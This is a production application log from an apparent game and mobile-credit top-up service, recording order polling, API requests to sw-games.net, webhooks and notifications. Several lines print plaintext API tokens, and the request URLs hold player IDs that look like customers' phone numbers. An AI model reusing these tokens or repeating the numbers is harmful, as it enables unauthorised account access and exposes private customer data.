[2026-03-24 14:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:52:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 14:52:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"errors":0} 
[2026-03-24 14:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":4,"order_ids":["ORD-qOpivfap-1774353009","ORD-G5c-1774353028","ORD-UeSVPAi-1774353041","ORD-SGkzY-1774353093"]} 
[2026-03-24 14:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:52:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":4} 
[2026-03-24 14:52:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"processed":4,"skipped":0,"updates_prepared":4} 
[2026-03-24 14:52:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 14:52:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"count":4} 
[2026-03-24 14:52:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"count":4} 
[2026-03-24 14:52:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"user_id":1597,"notification_type":"order_approved","reference_id":178778} 
[2026-03-24 14:52:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"user_id":373,"notification_type":"order_approved","reference_id":178776} 
[2026-03-24 14:52:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"user_id":1597,"notification_type":"order_approved","reference_id":178780} 
[2026-03-24 14:52:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"user_id":1597,"notification_type":"order_approved","reference_id":178779} 
[2026-03-24 14:52:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:52:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:52:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"processed":4,"errors":0} 
[2026-03-24 14:52:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700,"processed":4,"errors":0} 
[2026-03-24 14:52:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UeSVPAi-1774353041","operation_id":163700} 
[2026-03-24 14:52:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 373  
[2026-03-24 14:52:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 57  
[2026-03-24 14:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03"} 
[2026-03-24 14:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","total_operations":5,"sites_count":1} 
[2026-03-24 14:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-9snNM5s-1774348305","ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-UPiF74u-1774352697"]} 
[2026-03-24 14:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:54:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 14:54:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:54:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:54:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:54:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:54:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:54:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 14:54:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"errors":0} 
[2026-03-24 14:54:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2Um91dcY1Xa6BYdDLriYcSBLZDnNYOdl","execution_time":"2026-03-24 14:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:54:04] production.INFO: Constructing job for order: 178782  
[2026-03-24 14:54:07] production.INFO: Handling job for order: 178782  
[2026-03-24 14:54:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:54:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:54:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=210b7a72-b0af-4c11-abd6-efb859f99925&Player_ID=52230115348  
[2026-03-24 14:54:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=210b7a72-b0af-4c11-abd6-efb859f99925&Player_ID=52230115348","has_body":false} 
[2026-03-24 14:54:07] production.INFO: Operation sent successfully {"operation_id":163703,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ShE-1774353247","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:54:07"}},"processed_data":{"order_number":"ORD-ShE-1774353247","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:54:13] production.INFO: Constructing job for order: 178783  
[2026-03-24 14:54:16] production.INFO: Handling job for order: 178783  
[2026-03-24 14:54:16] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:54:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:54:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/49/params?qty=1&uuid=0c29bf04-fd76-4a7c-a23e-8d74a0b9f150&Player_ID=0936970591  
[2026-03-24 14:54:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/49/params?qty=1&uuid=0c29bf04-fd76-4a7c-a23e-8d74a0b9f150&Player_ID=0936970591","has_body":false} 
[2026-03-24 14:54:17] production.INFO: Operation sent successfully {"operation_id":163704,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-l3ngC-1774353257","amount":169.46802999999999883584678173065185546875,"status":"processing","product":"160.58 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:54:17"}},"processed_data":{"order_number":"ORD-l3ngC-1774353257","amount":169.46802999999999883584678173065185546875,"status":"processing","product":"160.58 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:54:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ShE-1774353247","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:54:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-ShE-1774353247","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:54:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:54:18] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":178782} 
[2026-03-24 14:54:18] production.INFO: Order updated successfully. Order ID: 178782, Status: completed  
[2026-03-24 14:54:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ShE-1774353247","status":"completed","codes_count":0} 
[2026-03-24 14:54:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 14:54:21] production.INFO: Constructing job for order: 178784  
[2026-03-24 14:54:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9snNM5s-1774348305","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 14:54:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-9snNM5s-1774348305","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 14:54:22] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 14:54:22] production.INFO: SendAcceptReject: Notification queued {"user_id":418,"notification_type":"order_rejected","reference_id":178671} 
[2026-03-24 14:54:22] production.INFO: Order updated successfully. Order ID: 178671, Status: rejected  
[2026-03-24 14:54:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9snNM5s-1774348305","status":"rejected","codes_count":0} 
[2026-03-24 14:54:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 418  
[2026-03-24 14:54:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 418  
[2026-03-24 14:54:23] production.INFO: Handling job for order: 178784  
[2026-03-24 14:54:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:54:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:54:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=221&uuid=3d1a4977-5d3d-4cd3-8054-9be208b2a500&Player_ID=20204s  
[2026-03-24 14:54:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=221&uuid=3d1a4977-5d3d-4cd3-8054-9be208b2a500&Player_ID=20204s","has_body":false} 
[2026-03-24 14:54:24] production.INFO: Operation sent successfully {"operation_id":163705,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ai6ex-1774353264","amount":3.8626956367999998320783561212010681629180908203125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 14:54:24"}},"processed_data":{"order_number":"ORD-Ai6ex-1774353264","amount":3.8626956367999998320783561212010681629180908203125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 14:54:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Ai6ex-1774353264","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:54:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-Ai6ex-1774353264","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:54:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:54:28] production.INFO: SendAcceptReject: Notification queued {"user_id":305,"notification_type":"order_approved","reference_id":178784} 
[2026-03-24 14:54:28] production.INFO: Order updated successfully. Order ID: 178784, Status: completed  
[2026-03-24 14:54:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Ai6ex-1774353264","status":"completed","codes_count":0} 
[2026-03-24 14:54:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 305  
[2026-03-24 14:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:55:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:55:05] production.INFO: async() رجع: true  
[2026-03-24 14:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:55:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:55:14] production.ALERT: user_id => 418  
[2026-03-24 14:55:21] production.ALERT: user_id => 418  
[2026-03-24 14:55:35] production.ALERT: user_id => 418  
[2026-03-24 14:56:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03"} 
[2026-03-24 14:56:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","total_operations":5,"sites_count":2} 
[2026-03-24 14:56:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-UPiF74u-1774352697"]} 
[2026-03-24 14:56:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:56:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 14:56:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:56:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:56:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:56:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:56:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 14:56:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"errors":0} 
[2026-03-24 14:56:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 14:56:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:56:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":1} 
[2026-03-24 14:56:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 14:56:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 14:56:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 14:56:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"L7HDibNdVeDsmLNQumR6ZsFN2HSWK8pC","execution_time":"2026-03-24 14:56:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 14:56:05] production.INFO: Constructing job for order: 178785  
[2026-03-24 14:56:07] production.INFO: Handling job for order: 178785  
[2026-03-24 14:56:07] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:56:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:56:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=8600ffd7-0dc5-4336-ac0d-9c988fdcaebb&Player_ID=0938069450  
[2026-03-24 14:56:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=8600ffd7-0dc5-4336-ac0d-9c988fdcaebb&Player_ID=0938069450","has_body":false} 
[2026-03-24 14:56:07] production.INFO: Operation sent successfully {"operation_id":163706,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CsoAcn-1774353367","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:56:07"}},"processed_data":{"order_number":"ORD-CsoAcn-1774353367","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:56:22] production.INFO: Constructing job for order: 178786  
[2026-03-24 14:56:25] production.INFO: Handling job for order: 178786  
[2026-03-24 14:56:25] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:56:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:56:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=f3e35a34-a298-40a3-85f0-acf8e4ae03dd&Player_ID=0938069450  
[2026-03-24 14:56:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=f3e35a34-a298-40a3-85f0-acf8e4ae03dd&Player_ID=0938069450","has_body":false} 
[2026-03-24 14:56:26] production.INFO: Operation sent successfully {"operation_id":163707,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Km8-1774353386","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:56:26"}},"processed_data":{"order_number":"ORD-Km8-1774353386","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:56:37] production.INFO: Constructing job for order: 178787  
[2026-03-24 14:56:38] production.INFO: Handling job for order: 178787  
[2026-03-24 14:56:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:56:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:56:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=0788df47-2a73-45ce-b31c-f52bfff39079&Player_ID=589084795  
[2026-03-24 14:56:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=0788df47-2a73-45ce-b31c-f52bfff39079&Player_ID=589084795","has_body":false} 
